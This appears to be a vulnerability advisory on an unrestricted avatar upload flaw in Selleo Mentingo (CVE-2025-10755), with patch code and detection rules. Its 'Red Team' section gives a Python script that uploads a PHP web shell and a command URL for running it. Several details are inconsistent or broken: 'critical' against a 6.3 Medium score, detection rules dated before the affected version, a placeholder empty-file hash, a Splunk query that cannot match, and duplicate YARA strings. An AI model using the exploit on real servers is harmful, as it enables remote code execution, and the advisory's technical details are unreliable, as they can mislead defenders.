CVE-2025-10755

Executive Summary

CVE-2025-10755 is a critical unrestricted file upload vulnerability affecting Selleo Mentingo version 2025.08.27. The flaw resides in the Content-Type Handler, specifically within the userAvatar argument, allowing remote attackers to upload arbitrary files without proper validation. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The exploit is publicly available, and the vendor has not responded to disclosure, leaving users at high risk. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public exploit increases urgency.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom web application vulnerability in Selleo Mentingo.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the userAvatar parameter of the Content-Type Handler. The application fails to validate the file type, size, or content, allowing an attacker to upload a malicious file (e.g., a PHP web shell) to the server. The uploaded file is then accessible via a predictable URL, enabling remote code execution.

Attack Flow:

1. Attacker identifies the upload endpoint (e.g., /api/upload/avatar).
2. Attacker crafts a malicious file (e.g., shell.php) containing PHP code.
3. Attacker sends a POST request with the file in the userAvatar field.
4. The server stores the file in a web-accessible directory (e.g., /uploads/avatars/).
5. Attacker accesses the uploaded file via its URL, executing the code.

Root Cause: Lack of file type validation, missing content-type checks, and no file extension whitelist.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable upload handler
if (isset($_FILES['userAvatar'])) {
    $target_dir = "uploads/avatars/";
    $target_file = $target_dir . basename($_FILES["userAvatar"]["name"]);
    move_uploaded_file($_FILES["userAvatar"]["tmp_name"], $target_file);
}

Patched Code (Conceptual):

// Patched upload handler with validation
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$max_size = 5 * 1024 * 1024; // 5MB

if (isset($_FILES['userAvatar'])) {
    $file_type = mime_content_type($_FILES['userAvatar']['tmp_name']);
    $file_size = $_FILES['userAvatar']['size'];
    $file_ext = strtolower(pathinfo($_FILES['userAvatar']['name'], PATHINFO_EXTENSION));
    
    if (!in_array($file_type, $allowed_types) || $file_size > $max_size || !in_array($file_ext, ['jpg', 'jpeg', 'png', 'gif'])) {
        die("Invalid file.");
    }
    
    $target_dir = "uploads/avatars/";
    $target_file = $target_dir . uniqid() . "." . $file_ext;
    move_uploaded_file($_FILES["userAvatar"]["tmp_name"], $target_file);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library.
• Target URL: http://target.com/api/upload/avatar

Exploit Script:

import requests

target_url = "http://target.com/api/upload/avatar"
payload_file = "shell.php"
payload_content = "<?php system($_GET['cmd']); ?>"

# Create malicious file
with open(payload_file, "w") as f:
    f.write(payload_content)

# Upload
files = {"userAvatar": (payload_file, open(payload_file, "rb"), "image/jpeg")}
response = requests.post(target_url, files=files)

if response.status_code == 200:
    print("Upload successful. Access shell at: http://target.com/uploads/avatars/" + payload_file)
else:
    print("Upload failed.")

Post-Exploitation:

• Execute commands: http://target.com/uploads/avatars/shell.php?cmd=id
• Establish reverse shell using a more advanced payload.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual file uploads (e.g., .php, .asp, .jsp files in avatar directories).
2. Check web server logs for POST requests to /api/upload/avatar with non-image content types.
3. Use file integrity monitoring (FIM) on upload directories.
4. Implement Web Application Firewall (WAF) rules to block executable file extensions.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| where method="POST" AND uri="/api/upload/avatar"
| eval file_ext=lower(rex field=uri "\.([a-z]+)$")
| where file_ext IN ("php", "asp", "aspx", "jsp", "exe", "sh")
| table _time, clientip, uri, file_ext

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file, replace with actual hash)
• Network Indicators:
  • POST requests to /api/upload/avatar with Content-Type: multipart/form-data and userAvatar field.
  • Outbound connections to attacker-controlled IPs from the web server.
• File System Indicators:
  • Unexpected files in /uploads/avatars/ directory with extensions like .php, .asp, .jsp.
  • Files with <?php or <?= content in upload directories.

Detection Engineering

YARA Rule

rule CVE_2025_10755_Unrestricted_Upload {
    meta:
        description = "Detects malicious file uploads targeting CVE-2025-10755"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10755"
    strings:
        $php_shell = "<?php" nocase
        $asp_shell = "<%" nocase
        $jsp_shell = "<%" nocase
        $exe_magic = {4D 5A}  // MZ header
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell, $exe_magic) and
        filesize < 10MB
}

Sigma Rule

title: CVE-2025-10755 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /api/upload/avatar with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        method: 'POST'
        uri: '/api/upload/avatar'
    extension:
        uri|endswith:
            - '.php'
            - '.asp'
            - '.aspx'
            - '.jsp'
            - '.exe'
            - '.sh'
    condition: selection and extension
falsepositives:
    - Legitimate file uploads with correct extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10755 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/upload/avatar"; http_uri; content:"userAvatar"; http_client_body; pcre:"/\.(php|asp|aspx|jsp|exe|sh)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality if not critical.
2. Implement file type validation using MIME type and extension whitelist.
3. Rename uploaded files to random names and store outside web root.
4. Apply a WAF rule to block executable file extensions in uploads.

Long-Term Fix:

• Vendor must release a patch. Until then, apply the conceptual patched code above.
• Conduct a full security audit of the application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /api/upload/avatar with non-image content types.

Valters IT